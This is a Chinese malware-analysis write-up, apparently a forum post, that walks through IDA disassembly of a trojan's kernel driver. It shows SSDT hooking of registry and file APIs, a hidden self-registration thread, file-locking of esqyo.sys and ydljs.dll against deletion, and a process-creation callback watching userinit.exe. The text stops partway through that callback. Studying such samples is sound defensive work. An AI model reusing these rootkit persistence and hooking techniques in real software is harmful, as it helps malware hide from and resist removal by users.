【文章标题】: 一个驱动木马的分析
【文章作者】: prince
【作者邮箱】: cracker_prince@163.com
【作者QQ号】: 812937
【软件名称】: Trojan program Trojan-Downloader.Win32.Agent.bbb(卡巴命名)
【下载地址】: 本地下载
【加壳方式】: 无
【编写语言】: ---
【使用工具】: IDA 5.0, WinDbg 6.6.007.5, VMWare 5.5.
【操作平台】: WINDOWS XP
【软件介绍】: 某木马or恶意软件的driver部分
【作者声明】: 水平有限,了解不多,仅作参考。
--------------------------------------------------------------------------------
【前言】
    大概2个多星期前看到在Unpack『 病毒木马 』区Lvg同学发了这个样本,就用业余时间 看了看。本人纯属入门级选手,所以各位看到有什么解释的不妥或者直接让您喷饭地方,还请不吝赐教, 谢谢。
    
【详细过程】
    由于是驱动文件,不考虑极端情况,就认为它没壳,直接IDA之。
    
入口:

.text:00010F5B ; *************** S U B R O U T I N E ***************************************
.text:00010F5B
.text:00010F5B
.text:00010F5B ; int __stdcall start(PDRIVER_OBJECT DriverObject,int)
.text:00010F5B                 public start
.text:00010F5B start           proc near
.text:00010F5B
.text:00010F5B DriverObject    = dword ptr  4
.text:00010F5B arg_4           = dword ptr  8
.text:00010F5B
.text:00010F5B                 push    [esp+arg_4]     ; RegistryPath
.text:00010F5F                 call    sub_10966       ; 参数为:RegistryPath;
.text:00010F5F                                         ; 修改SDT,hook关键函数
.text:00010F5F
.text:00010F64                 test    al, al          ; 判断hook是否成功
.text:00010F66                 jnz     short loc_10F6F ; 成功则跳
.text:00010F66
.text:00010F68                 mov     eax, 0C0000001h ; 否则返回STATUS_UNSUCCESSFUL

(0C0000001h)
.text:00010F6D                 jmp     short locret_10FD2
.text:00010F6D
.text:00010F6F ; ---------------------------------------------------------------------------
.text:00010F6F
.text:00010F6F loc_10F6F:                              ; CODE XREF: start+Bj
.text:00010F6F                 push    esi
.text:00010F70                 push    edi
.text:00010F71                 xor     edi, edi        ; edi清零
.text:00010F73                 xor     esi, esi        ; esi清零
.text:00010F75                 inc     esi
.text:00010F76                 mov     dword_1160C, esi ; dword_1160C = 1
.text:00010F7C                 mov     dword_11608, edi ; dword_11608 = 0
.text:00010F82                 mov     dword_115FC, esi ; dword_115FC = 1
.text:00010F88                 mov     dword_115F8, edi ; dword_115F8 = 0
.text:00010F8E                 mov     dword_11604, edi ; dword_11604 = 0
.text:00010F94                 mov     dword_11600, edi ; dword_11600 = 0
.text:00010F9A                 mov     dword_11614, edi ; dword_11614 = 0
.text:00010FA0                 mov     Handle, edi     ; Handle = 0
.text:00010FA6                 call    sub_10EFF       ; 创建线程 - 设置注册表注册驱动和打开

dll和sys文件
.text:00010FA6
.text:00010FAB                 call    sub_10C61       ;  ZwCreateFile打开"\SystemRoot",判

断hook是否成功?
.text:00010FAB
.text:00010FB0                 test    al, al          ; 利用返回值判断是否打开成功
.text:00010FB2                 jz      short loc_10FBC ; 打开失败则跳
.text:00010FB2
.text:00010FB4                 push    esi
.text:00010FB5                 call    sub_106B9       ; 用原始的NtCreateFile打开
.text:00010FB5                                         ; "\SystemRoot\system32

\drivers\esqyo.sys" 和
.text:00010FB5                                         ; "\SystemRoot\system32\ydljs.dll"并

保存句柄
.text:00010FB5                                         ; 目的是防止这两个文件被关闭和删除
.text:00010FB5
.text:00010FBA                 jmp     short loc_10FC5
.text:00010FBA
.text:00010FBC ; ---------------------------------------------------------------------------
.text:00010FBC
.text:00010FBC loc_10FBC:                              ; CODE XREF: start+57j
.text:00010FBC                 push    [esp+8+DriverObject] ; DriverObject
.text:00010FC0                 call    sub_10D1B       ; 如果出现什么问题则调用

IoRegisterDriverReinitialization
.text:00010FC0                                         ; 重新再来一遍。狠...
.text:00010FC0
.text:00010FC5
.text:00010FC5 loc_10FC5:                              ; CODE XREF: start+5Fj
.text:00010FC5                 push    edi             ; Remove - edi = 0 (FALSE - 创建

hookRoutine)
.text:00010FC6                 push    offset NotifyRoutine ; NotifyRoutine - (监视函数)
.text:00010FC6                                         ; 该函数监视explorer.exe进程启动,跟

目标同时启动打开驱动、dll,写注册表等动作
.text:00010FCB                 call    PsSetCreateProcessNotifyRoutine ; 监视进程创建及销毁
.text:00010FCB
.text:00010FD0                 pop     edi
.text:00010FD1                 pop     esi
.text:00010FD1
.text:00010FD2
.text:00010FD2 locret_10FD2:                           ; CODE XREF: start+12j
.text:00010FD2                 retn    8
.text:00010FD2
.text:00010FD2 start           endp
    
************************************************************************    
跟进sub_10966:

.text:00010966 ; arg_0
.text:00010966
.text:00010966 sub_10966       proc near               ; CODE XREF: start+4p
.text:00010966
.text:00010966 arg_0    = dword ptr  8
.text:00010966
.text:00010966                 push    ebx             ; arg_0
.text:00010967                 call    sub_10857       ; 对一些常量字符串进行解码还原
.text:00010967
.text:0001096C                 xor     ebx, ebx
.text:0001096E                 push    ebx             ; CSDVersion - NULL
.text:0001096F                 push    offset BuildNumber ; BuildNumber
.text:00010974                 push    offset MinorVersion ; MinorVersion
.text:00010979                 push    offset MajorVersion ; MajorVersion
.text:0001097E                 call    PsGetVersion    ; 获取系统版本号,build number
.text:0001097E
.text:00010983                 call    sub_107F0       ; 在当前进程的EPROCESS结构中搜索字符

串"System",
.text:00010983                                         ; 返回的偏移值后面要用到
.text:00010983
.text:00010988                 cmp     eax, ebx        ; 检查是否搜索到了指定字符串
.text:0001098A                 mov     dword_118F0, eax ; 保存字符串在EPROCESS结构中的偏移,
.text:0001098A                                         ; 即dword_118F0 = 

EPROCESS.ImageFileName
.text:0001098F                 jnz     short loc_10998 ; 找到则跳走
.text:0001098F
.text:00010991                 xor     al, al          ; 如果没找到指定字符串,则al 清零
.text:00010993                 jmp     loc_10A2C       ; 跳到函数结尾返回
.text:00010993
.text:00010998 ; ---------------------------------------------------------------------------
.text:00010998
.text:00010998 loc_10998:                              ; CODE XREF: sub_10966+29j
.text:00010998                 push    ebp
.text:00010999                 push    esi
.text:0001099A                 push    edi
.text:0001099B                 push    40h             ; size_t
.text:0001099D                 push    ebx             ; int
.text:0001099E                 mov     esi, offset word_11618
.text:000109A3                 push    esi             ; void *
.text:000109A4                 call    memset          ; 变量word_11618清零 (大小为0x40)
.text:000109A4
.text:000109A9                 mov     edi, ds:wcsncpy
.text:000109AF                 push    1Fh             ; size_t
.text:000109B1                 push    offset s_Esqyo  ; "esqyo"
.text:000109B6                 push    esi             ; wchar_t *
.text:000109B7                 call    edi ; wcsncpy   ; 拷贝字符串"esqyo"至变量word_11618
.text:000109B9                 push    40h             ; size_t
.text:000109BB                 push    ebx             ; int
.text:000109BC                 mov     esi, offset unk_116A0
.text:000109C1                 push    esi             ; void *
.text:000109C2                 call    memset          ; 将变量unk_116a0清零 (大小为0x40)
.text:000109C2
.text:000109C7                 push    1Fh             ; size_t
.text:000109C9                 push    offset s_Ydljs  ; "ydljs"
.text:000109CE                 push    esi             ; wchar_t *
.text:000109CF                 call    edi ; wcsncpy   ; 拷贝字符串"ydljs"至变量unk_116a0
.text:000109D1                 mov     ebp, 200h
.text:000109D6                 push    ebp             ; size_t
.text:000109D7                 push    ebx             ; int
.text:000109D8                 mov     esi, offset unk_116F0
.text:000109DD                 push    esi             ; void *
.text:000109DE                 call    memset          ; 将变量unk_116f0清零 (大小0x200)
.text:000109DE
.text:000109E3                 push    40h             ; size_t
.text:000109E5                 push    ebx             ; int
.text:000109E6                 mov     ebx, offset word_11658
.text:000109EB                 push    ebx             ; void *
.text:000109EC                 call    memset          ; 将变量word_11658清零 (大小0x40)
.text:000109EC
.text:000109F1                 add     esp, 48h
.text:000109F4                 push    1Fh             ; size_t
.text:000109F6                 push    offset s_Ydljs_0 ; "ydljs"
.text:000109FB                 push    ebx             ; wchar_t *
.text:000109FC                 call    edi ; wcsncpy   ; 拷贝字符串"ydljs"至变量word_11658
.text:000109FE                 push    ebp             ; size_t
.text:000109FF                 push    0               ; int
.text:00010A01                 push    esi             ; void *
.text:00010A02                 call    memset          ; 将变量unk_116f0清零 (大小0x200)
.text:00010A02
.text:00010A07                 mov     eax, [esp+24h+arg_0] ; +0x024 HardwareDatabase 

: Ptr32 _UNICODE_STRING
.text:00010A07                                         ; Pointer to the 

\Registry\Machine\Hardware path to the hardware configuration information in the registry.
.text:00010A0B                 movzx   ecx, word ptr [eax]
.text:00010A0E                 push    ecx             ; size_t
.text:00010A0F                 push    dword ptr [eax+4] ; void *
.text:00010A0F                                         ; 

"\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\esqyo"
.text:00010A12                 push    esi             ; void *
.text:00010A13                 call    memcpy          ; 将HardwareDatabase字符串拷贝至变量

unk_116f0
.text:00010A13
.text:00010A18                 push    esi             ; wchar_t *
.text:00010A19                 call    ds:_wcslwr      ; 转换为小写字母
.text:00010A19                                         ; 

"registry\machine\system\controlset001\services\esqyo"
.text:00010A1F                 add     esp, 28h
.text:00010A22                 call    sub_10883       ; 修改SDT来HOOK ZwCreateFile、

ZwSetValueKey、
.text:00010A22                                         ; ZwEnumerateKey、ZwOpenKey、ZwClose

等函数入口
.text:00010A22
.text:00010A27                 pop     edi
.text:00010A28                 pop     esi
.text:00010A29                 mov     al, 1           ; 返回1表示成功
.text:00010A2B                 pop     ebp
.text:00010A2B
.text:00010A2C
.text:00010A2C loc_10A2C:                              ; CODE XREF: sub_10966+2Dj
.text:00010A2C                 pop     ebx
.text:00010A2D                 retn    4
.text:00010A2D
.text:00010A2D sub_10966       endp
*************************************************************************************    

sub_10857是对一些常量字符串的解码函数,所谓解码,其实就是将字符的ASCII码+1,呵呵。

sub_107F0搜索EPROCESS结构中的ImageFileName来计算偏移位置,后面判断进程创建的时候要用到这个值。

.text:000107F0 sub_107F0       proc near               ; CODE XREF: sub_10966+1Dp
.text:000107F0                 push    ebx
.text:000107F1                 push    esi
.text:000107F2                 push    edi
.text:000107F3                 call    ds:IoGetCurrentProcess ; 获取当前进程的PEPROCESS结构

指针
.text:000107F9                 mov     ebx, eax        ; 保存指针至ebx
.text:000107FB                 xor     edi, edi        ; edi清零
.text:000107FD                 mov     esi, offset s_Rxrsdl ; esi指向字符串"System"
.text:000107FD
.text:00010802
.text:00010802 loc_10802:                              ; CODE XREF: sub_107F0+32j
.text:00010802                 push    esi             ; char *
.text:00010803                 call    strlen          ; 取"System"字符串长度
.text:00010803
.text:00010808                 push    eax             ; size_t 比较字符串的长度
.text:00010809                 lea     eax, [edi+ebx]
.text:0001080C                 push    eax             ; char *
.text:0001080D                 push    esi             ; char *
.text:0001080E                 call    ds:strncmp      ; 比较字符串是否相等
.text:00010814                 add     esp, 10h
.text:00010817                 test    eax, eax
.text:00010819                 jz      short loc_1082A ; 相等就跳
.text:00010819
.text:0001081B                 inc     edi
.text:0001081C                 cmp     edi, 3000h      ; 遍历EPROCESS结构,搜索指定字符串
.text:00010822                 jl      short loc_10802
.text:00010822
.text:00010824                 xor     eax, eax        ; 没有找到指定字符串,返回0
.text:00010824
.text:00010826
.text:00010826 loc_10826:                              ; CODE XREF: sub_107F0+3Cj
.text:00010826                 pop     edi
.text:00010827                 pop     esi
.text:00010828                 pop     ebx
.text:00010829                 retn
.text:00010829
.text:0001082A ; ---------------------------------------------------------------------------
.text:0001082A
.text:0001082A loc_1082A:                              ; CODE XREF: sub_107F0+29j
.text:0001082A                 mov     eax, edi        ; 返回指定字符串在EPROCESS中的偏移位


.text:0001082C                 jmp     short loc_10826
.text:0001082C
.text:0001082C sub_107F0       endp

sub_10883利用修改SDT来hook一些函数:

.text:00010883
.text:00010883 sub_10883       proc near               ; CODE XREF: sub_10966+BCp
.text:00010883                 mov     eax, ds:ZwCreateFile
.text:00010888                 push    ebx
.text:00010889                 mov     ebx, ds:ZwSetValueKey
.text:0001088F                 push    ebp
.text:00010890                 mov     ebp, ds:ZwEnumerateKey
.text:00010896                 push    esi
.text:00010897                 mov     esi, ds:ZwOpenKey
.text:0001089D                 push    edi
.text:0001089E                 mov     edi, ds:ZwClose
.text:000108A4                 mov     dword_11698, esi ; ZwOpenKey
.text:000108AA                 mov     dword_116E8, edi ; ZwClose
.text:000108B0                 mov     dword_116E4, ebx ; ZwSetValueKey
.text:000108B6                 mov     dword_116E0, ebp ; ZwEnumerateKey
.text:000108BC                 mov     dword_116EC, eax ; ZwCreateFile
.text:000108C1                 call    sub_110EB       ; 得到ntoskrnl.exe,并映射到内存
.text:000108C1
.text:000108C6                 test    al, al          ; 检查返回值
.text:000108C8                 jz      loc_1095F       ; 失败则跳走
.text:000108C8
.text:000108CE                 push    esi             ; ZwOpenKey
.text:000108CF                 call    sub_111E8       ; 修改SDT,返回一个地址(原始

NtOpenKey函数地址)
.text:000108CF
.text:000108D4                 push    ebx             ; ZwSetValueKey
.text:000108D5                 mov     dword_11698, eax ; dword_11698 = 原始NtOpenKey函数地


.text:000108DA                 call    sub_111E8
.text:000108DA
.text:000108DF                 push    ebp             ; ZwEnumerateKey
.text:000108E0                 mov     dword_116E4, eax ; dword_116E4 = 原始NtSetValueKey函

数地址
.text:000108E5                 call    sub_111E8
.text:000108E5
.text:000108EA                 push    edi             ; ZwClose
.text:000108EB                 mov     dword_116E0, eax ; dword_116E0 = 原始NtEnumerateKey函

数地址
.text:000108F0                 call    sub_111E8
.text:000108F0
.text:000108F5                 push    ds:ZwCreateFile
.text:000108FB                 mov     dword_116E8, eax ; dword_116E8 = 原始NtClose函数地址
.text:00010900                 call    sub_111E8
.text:00010900
.text:00010905                 mov     dword_116EC, eax ; dword_116EC = 原始NtCreateFile函数

地址
.text:0001090A                 call    sub_11222       ; 取消映射,关闭section、file等句柄
.text:0001090A
.text:0001090F                 xor     eax, eax
.text:00010911                 cmp     dword_11698, eax ; 判断dword_11698(NtOpenKey())是否为


.text:00010917                 jz      short loc_1093D ; 为零则跳
.text:00010917
.text:00010919                 cmp     dword_116E4, eax ; 判断dword_116E4(NtSetValueKey())是

否为空
.text:0001091F                 jz      short loc_1093D
.text:0001091F
.text:00010921                 cmp     dword_116E0, eax ; 判断dword_116E0(NtEnumerateKey())

是否为空
.text:00010927                 jz      short loc_1093D
.text:00010927
.text:00010929                 cmp     dword_116E8, eax ; 判断dword_116E8(NtClose)是否为空
.text:0001092F                 jz      short loc_1093D
.text:0001092F
.text:00010931                 cmp     dword_116EC, eax ; 判断dword_116EC(NtCreateFile)是否

为空
.text:00010937                 jz      short loc_1093D
.text:00010937
.text:00010939                 mov     al, 1
.text:0001093B                 jmp     short loc_10961 ; 否则返回1
.text:0001093B
.text:0001093D ; ---------------------------------------------------------------------------
.text:0001093D
.text:0001093D loc_1093D:                              ; CODE XREF: sub_10883+94j
.text:0001093D                                         ; sub_10883+9Cj
.text:0001093D                                         ; sub_10883+A4j
.text:0001093D                                         ; sub_10883+ACj
.text:0001093D                                         ; sub_10883+B4j
.text:0001093D                 mov     eax, ds:ZwCreateFile
.text:00010942                 mov     dword_11698, esi ; esi = ZwOpenKey
.text:00010948                 mov     dword_116E8, edi ; edi = ZwClose
.text:0001094E                 mov     dword_116E4, ebx ; ebx = ZwSetValueKey
.text:00010954                 mov     dword_116E0, ebp ; ebp = ZwEnumerateKey
.text:0001095A                 mov     dword_116EC, eax ; eax = ZwCreateFile
.text:0001095A
.text:0001095F
.text:0001095F loc_1095F:                              ; CODE XREF: sub_10883+45j
.text:0001095F                 xor     al, al          ; 返回0
.text:0001095F
.text:00010961
.text:00010961 loc_10961:                              ; CODE XREF: sub_10883+B8j
.text:00010961                 pop     edi
.text:00010962                 pop     esi
.text:00010963                 pop     ebp
.text:00010964                 pop     ebx
.text:00010965                 retn
.text:00010965
.text:00010965 sub_10883       endp

sub_110EB函数用来定位ntoskrnl.exe在内存中的位置;
sub_111E8函数开始修改SDT,hook自己关心的函数,并返回原始函数地址,留到后面给自己用:

.text:000111E8 sub_111E8       proc near               ; CODE XREF: sub_10883+4Cp
.text:000111E8                                         ; sub_10883+57p
.text:000111E8                                         ; sub_10883+62p
.text:000111E8                                         ; sub_10883+6Dp
.text:000111E8                                         ; sub_10883+7Dp
.text:000111E8
.text:000111E8 arg_0           = dword ptr  4
.text:000111E8
.text:000111E8                 mov     eax, BaseAddress
.text:000111ED                 test    eax, eax
.text:000111EF                 jz      short locret_1121F ; 基址为空则返回
.text:000111EF
.text:000111F1                 mov     ecx, [esp+arg_0] ; ecx = 压栈的函数地址
.text:000111F5                 mov     ecx, [ecx+1]    ; 取该函数的在SDT中的索引号(magic 

number)
.text:000111F5                                         ; 根据反汇编Zw**可以得知,函数入口处

+1的值即是magic number
.text:000111F8                 test    ch, 30h
.text:000111FB                 push    esi
.text:000111FC                 jnz     short loc_1121C
.text:000111FC
.text:000111FE                 push    ecx             ; ecx = 入栈函数在SDT中的索引号
.text:000111FF                 push    eax             ; eax = BaseAddress
.text:00011200                 push    dword_11904     ; dword_11904为ntoskrnl.exe的基址
.text:00011206                 call    sub_10C07       ; 修改SDT,替换函数入口,返回原始函数

地址。
.text:00011206
.text:0001120B                 mov     esi, eax        ; 保存返回的地址
.text:0001120D                 push    esi             ; VirtualAddress
.text:0001120E                 call    ds:MmIsAddressValid ; 检查该地址的有效性
.text:00011214                 test    al, al
.text:00011216                 jz      short loc_1121C ; 如果地址不可用则跳走
.text:00011216
.text:00011218                 mov     eax, esi        ; 否则保留该地址为此函数的返回值
.text:0001121A                 jmp     short loc_1121E
.text:0001121A
.text:0001121C ; ---------------------------------------------------------------------------
.text:0001121C
.text:0001121C loc_1121C:                              ; CODE XREF: sub_111E8+14j
.text:0001121C                                         ; sub_111E8+2Ej
.text:0001121C                 xor     eax, eax        ; 返回值置零,表示失败
.text:0001121C
.text:0001121E
.text:0001121E loc_1121E:                              ; CODE XREF: sub_111E8+32j
.text:0001121E                 pop     esi
.text:0001121E
.text:0001121F
.text:0001121F locret_1121F:                           ; CODE XREF: sub_111E8+7j
.text:0001121F                 retn    4
.text:0001121F
.text:0001121F sub_111E8       endp

hook SDT的代码,网上多得很,我这里没有仔细分析。简单用Windbg跟了一下,察看sub_10C07函数返回

的地址,在Windbg中用 uf 命令来反汇编压栈的函数,看看地址是否吻合;或者用 ln 命令直接察看该地

址也可以。所以可以猜测hook函数原型是:NTPROC* HookFuncBySdt(NTPROC *Zw***);

**********************************************************************

一路返回到我们开始的地方,继续看下面的代码:
sub_10EFF创建了一个线程,用来写注册表注册驱动,跟进之后来到:
...
.text:00010F35                 add     esp, 18h
.text:00010F38                 push    offset sub_104D0 ; StartContext (回调函数的参数)
.text:00010F3D                 push    edi             ; StartRoutine
.text:00010F3E                 push    esi             ; ClientId
.text:00010F3F                 push    esi             ; ProcessHandle
.text:00010F40                 push    esi             ; ObjectAttributes
.text:00010F41                 push    esi             ; DesiredAccess
.text:00010F42                 lea     eax, [ebp+Handle]
.text:00010F45                 push    eax             ; ThreadHandle
.text:00010F46                 call    ds:PsCreateSystemThread ; 创建线程 sub_10EEF
...

线程回调函数的参数sub_104D0也是一个函数地址,用来写注册表来注册这个驱动;
StartRoutine主要是打开2个文件,保存他们的句柄,使得用户不能关闭或删除他们:

.text:00010DC5 ; void __stdcall StartRoutine(PVOID)
.text:00010DC5 StartRoutine    proc near               ; DATA XREF: NotifyRoutine+D6o
.text:00010DC5
.text:00010DC5 Interval        = LARGE_INTEGER ptr -8
.text:00010DC5
.text:00010DC5                 push    ebp
.text:00010DC6                 mov     ebp, esp
.text:00010DC8                 push    ecx
.text:00010DC9                 push    ecx
.text:00010DCA                 or      dword ptr [ebp+Interval+4], 0FFFFFFFFh
.text:00010DCE                 lea     eax, [ebp+Interval]
.text:00010DD1                 push    eax             ; Interval
.text:00010DD2                 push    0               ; Alertable
.text:00010DD4                 push    0               ; WaitMode
.text:00010DD6                 mov     dword ptr [ebp+Interval], 0FA0A1F00h
.text:00010DDD                 call    ds:KeDelayExecutionThread
.text:00010DE3                 push    1
.text:00010DE5                 call    sub_106B9       ; 打开驱动和dll文件
.text:00010DE5
.text:00010DEA                 push    1               ; ExitStatus
.text:00010DEC                 call    ds:PsTerminateSystemThread
.text:00010DF2                 leave
.text:00010DF3                 retn    4
.text:00010DF3
.text:00010DF3 StartRoutine    endp

打开文件函数sub_106B9:

.text:000106B9 SourceString    = word ptr -100h
.text:000106B9 arg_0           = dword ptr  8
.text:000106B9
.text:000106B9                 push    ebp
.text:000106BA                 mov     ebp, esp
.text:000106BC                 sub     esp, 100h
.text:000106C2                 and     [ebp+SourceString], 0
.text:000106CA                 push    ebx
.text:000106CB                 push    esi
.text:000106CC                 push    edi
.text:000106CD                 push    3Fh
.text:000106CF                 pop     ecx
.text:000106D0                 xor     eax, eax
.text:000106D2                 lea     edi, [ebp-0FEh]
.text:000106D8                 rep stosd
.text:000106DA                 stosw
.text:000106DC                 mov     edi, 100h
.text:000106E1                 push    edi             ; size_t
.text:000106E2                 lea     eax, [ebp+SourceString]
.text:000106E8                 push    0               ; int
.text:000106EA                 push    eax             ; void *
.text:000106EB                 call    memset          ; SourceString清零
.text:000106EB
.text:000106F0                 mov     esi, ds:swprintf
.text:000106F6                 push    offset word_11618 ; word_11618 == 字符串"esqyo"
.text:000106FB                 push    offset asc_1139E ; 解码后asc_1139E == 

"\SystemRoot\system32\drivers\"
.text:00010700                 lea     eax, [ebp+SourceString]
.text:00010706                 push    offset s_SS_sys ; "%s%s.sys"
.text:0001070B                 push    eax             ; wchar_t *
.text:0001070C                 call    esi ; swprintf  ; 格式化后的字符串

为:"\SystemRoot\system32\drivers\esqyo.sys"
.text:0001070E                 mov     ebx, ds:ZwClose
.text:00010714                 add     esp, 1Ch
.text:00010717                 cmp     [ebp+arg_0], 1  ; 检查压栈参数(打开文件是否成功)
.text:0001071B                 jnz     short loc_10741 ; 打开文件失败则跳走
.text:0001071B
.text:0001071D                 mov     eax, Handle     ; esqyo.sys文件句柄
.text:00010722                 test    eax, eax
.text:00010724                 jz      short loc_10730 ; 句柄为空则跳
.text:00010724
.text:00010726                 push    eax             ; Handle
.text:00010727                 call    ebx ; ZwClose   ; 否则,关闭之
.text:00010729                 and     Handle, 0       ; Handle清零
.text:00010729
.text:00010730
.text:00010730 loc_10730:                              ; CODE XREF: sub_106B9+6Bj
.text:00010730                 push    offset dword_115F8 ; int - dword_115F8 = 0
.text:00010735                 lea     eax, [ebp+SourceString]
.text:0001073B                 push    eax             ; SourceString = 

"\SystemRoot\system32\drivers\esqyo.sys"
.text:0001073C                 call    sub_10440       ; CreateFile打开该文件
.text:0001073C
.text:00010741
.text:00010741 loc_10741:                              ; CODE XREF: sub_106B9+62j
.text:00010741                 cmp     [ebp+arg_0], 0  ; 检查压栈参数(打开文件是否成功)
.text:00010745                 jnz     short loc_1076B ; 打开成功则跳走
.text:00010745
.text:00010747                 mov     eax, dword_115F8 ; dword_115F8 = 0
.text:0001074C                 test    eax, eax
.text:0001074E                 jz      short loc_1075A ; 如果为0则跳走
.text:0001074E
.text:00010750                 push    eax             ; Handle
.text:00010751                 call    ebx ; ZwClose   ; 不为0则将该句柄关闭
.text:00010753                 and     dword_115F8, 0  ; 将其清零
.text:00010753
.text:0001075A
.text:0001075A loc_1075A:                              ; CODE XREF: sub_106B9+95j
.text:0001075A                 push    offset Handle   ; int - Handle = 0
.text:0001075F                 lea     eax, [ebp+SourceString] ; SourceString = 

"\SystemRoot\system32\drivers\esqyo.sys"
.text:00010765                 push    eax             ; SourceString
.text:00010766                 call    sub_10440       ; 再次尝试NtCreateFile打开该文件
.text:00010766
.text:0001076B
.text:0001076B loc_1076B:                              ; CODE XREF: sub_106B9+8Cj
.text:0001076B                 push    edi             ; size_t
.text:0001076C                 lea     eax, [ebp+SourceString]
.text:00010772                 push    0               ; int
.text:00010774                 push    eax             ; void *
.text:00010775                 call    memset          ; SourceString清零
.text:00010775
.text:0001077A                 push    offset unk_116A0 ; unk_116A0 = "ydljs"
.text:0001077F                 push    offset asc_113DA ; asc_113DA解码后

为:"\SystemRoot\system32\"
.text:00010784                 lea     eax, [ebp+SourceString]
.text:0001078A                 push    offset s_SS_dll ; "%s%s.dll"
.text:0001078F                 push    eax             ; wchar_t *
.text:00010790                 call    esi ; swprintf  ; SourceString = 

"\SystemRoot\system32\ydljs.dll"
.text:00010792                 add     esp, 1Ch
.text:00010795                 cmp     [ebp+arg_0], 1  ; 判断压栈参数
.text:00010799                 jnz     short loc_107BF ; 如果arg_0 != 1则跳走不执行打开该文

件的动作
.text:00010799
.text:0001079B                 mov     eax, dword_11600 ; dword_11600 == 0
.text:000107A0                 test    eax, eax
.text:000107A2                 jz      short loc_107AE ; 如果dword_11600为0则跳去打开此文件
.text:000107A2
.text:000107A4                 push    eax             ; Handle
.text:000107A5                 call    ebx ; ZwClose   ; 否则将该句柄关闭
.text:000107A7                 and     dword_11600, 0  ; dword_11600清零
.text:000107A7
.text:000107AE
.text:000107AE loc_107AE:                              ; CODE XREF: sub_106B9+E9j
.text:000107AE                 push    offset dword_11608 ; int - dword_11608 == 0
.text:000107B3                 lea     eax, [ebp+SourceString]
.text:000107B9                 push    eax             ; SourceString - SourceString = 

"\SystemRoot\system32\ydljs.dll"
.text:000107BA                 call    sub_10440       ; 调用原始的NtCreateFile打开该文件
.text:000107BA
.text:000107BF
.text:000107BF loc_107BF:                              ; CODE XREF: sub_106B9+E0j
.text:000107BF                 cmp     [ebp+arg_0], 0  ; 判断压栈参数是否为0
.text:000107C3                 jnz     short loc_107E9 ; 不为0则跳走直接返回
.text:000107C3
.text:000107C5                 mov     eax, dword_11608
.text:000107CA                 test    eax, eax        ; 判断dword_11608是否为0
.text:000107CC                 jz      short loc_107D8 ; 如果dword_11608为0则跳去打开该dll
.text:000107CC
.text:000107CE                 push    eax             ; Handle
.text:000107CF                 call    ebx ; ZwClose   ; 否则将其关闭
.text:000107D1                 and     dword_11608, 0  ; dword_11608 = 0
.text:000107D1
.text:000107D8
.text:000107D8 loc_107D8:                              ; CODE XREF: sub_106B9+113j
.text:000107D8                 push    offset dword_11600 ; int - dword_11600 = 0
.text:000107DD                 lea     eax, [ebp+SourceString]
.text:000107E3                 push    eax             ; SourceString - SourceString = 

"\SystemRoot\system32\ydljs.dll"
.text:000107E4                 call    sub_10440       ; 用原始的NtCreateFile函数打开该dll
.text:000107E4
.text:000107E9
.text:000107E9 loc_107E9:                              ; CODE XREF: sub_106B9+10Aj
.text:000107E9                 pop     edi
.text:000107EA                 pop     esi
.text:000107EB                 pop     ebx
.text:000107EC                 leave
.text:000107ED                 retn    4
.text:000107ED
.text:000107ED sub_106B9       endp

回到DriverEntry,sub_10C61这个函数用hook之后的ZwCreateFile来打开"\SystemRoot",可能是用来判

断前面的hook工作是否成功?接下来判断返回值,如果认为失败,跳到loc_10FBC调用

IoRegisterDriverReinitialization函数重新初始化驱动,直到一切都OK...

最后PsSetCreateProcessNotifyRoutine监视进程创建,我们来看看它做了什么:

.text:00010DF6 ; void __stdcall NotifyRoutine(HANDLE,HANDLE,BOOLEAN)
.text:00010DF6 NotifyRoutine   proc near               ; DATA XREF: start+6Bo
.text:00010DF6
.text:00010DF6 SourceString    = word ptr -210h
.text:00010DF6 var_10          = byte ptr -10h
.text:00010DF6 Handle          = dword ptr  0Ch
.text:00010DF6 arg_8           = byte ptr  10h
.text:00010DF6
.text:00010DF6                 push    ebp
.text:00010DF7                 mov     ebp, esp
.text:00010DF9                 sub     esp, 210h
.text:00010DFF                 push    ebx
.text:00010E00                 xor     ebx, ebx        ; ebx = 0
.text:00010E02                 cmp     [ebp+arg_8], bl ; 判断是否是进程销毁事件
.text:00010E05                 jz      loc_10EEA       ; 是的话跳走返回(不关心进程销毁)
.text:00010E05
.text:00010E0B                 cmp     [ebp+Handle], 14h
.text:00010E0F                 jb      loc_10EEA       ; 如果Handle < 0x14的话也直接返回
.text:00010E0F
.text:00010E15                 lea     eax, [ebp+arg_8]
.text:00010E18                 push    eax             ; 进程ID
.text:00010E19                 push    [ebp+Handle]    ; EPROCESS buffer
.text:00010E1C                 mov     dword ptr [ebp+arg_8], ebx
.text:00010E1F                 call    ds:PsLookupProcessByProcessId
.text:00010E25                 test    eax, eax        ; 判断结果是否成功
.text:00010E27                 jl      loc_10EEA
.text:00010E27
.text:00010E2D                 mov     ecx, dword ptr [ebp+arg_8] ; ecx = EPROCESS
.text:00010E30                 xor     eax, eax        ; eax = 0
.text:00010E32                 push    esi
.text:00010E33                 push    edi
.text:00010E34                 mov     [ebp+var_10], bl
.text:00010E37                 lea     edi, [ebp-0Fh]
.text:00010E3A                 stosd
.text:00010E3B                 stosd
.text:00010E3C                 stosd
.text:00010E3D                 stosw
.text:00010E3F                 stosb
.text:00010E40                 mov     eax, dword_118F0 ; dword_118F0 是字符串"System"在

EPROCESS结构中的偏移
.text:00010E40                                         ; 也就是EPROCESS.ImageFileName
.text:00010E45                 add     eax, ecx        ; 定位偏移地址
.text:00010E47                 push    0Fh             ; size_t
.text:00010E49                 push    eax             ; char *
.text:00010E4A                 lea     eax, [ebp+var_10]
.text:00010E4D                 push    eax             ; char *
.text:00010E4E                 call    ds:strncpy
.text:00010E54                 mov     esi, ds:_stricmp
.text:00010E5A                 lea     eax, [ebp+var_10]
.text:00010E5D                 push    offset s_Trdqhmhs-dwd ; s_Trdqhmhs-dwd解码后

为:"userinit.exe"
.text:00010E62                 push    eax             ; char *
.text:00010E63                 call    esi ; _stricmp  ; 比较字符串
.text:00010E65                 add     esp, 14h
.text:00010E68                 test    eax, eax        ; 判断结果
.text:00010E6A                 jnz     short loc_10EBA ; 不是指定进程则跳
.text:00010E6A
.text:00010E6C                 push    7Fh
.text:00010E6E                 pop     ecx
.text:00010E6F                 mov     [ebp+SourceString], bx
.text:00010E76                 lea     edi, [ebp-20Eh]
.text:00010E7C                 rep stosd
.text:00010E7E                 push    200h            ; size_t
.text:00010E83                 stosw
.text:00010E85                 lea     eax, [ebp+SourceString]
.text:00010E8B                 push    ebx             ; int
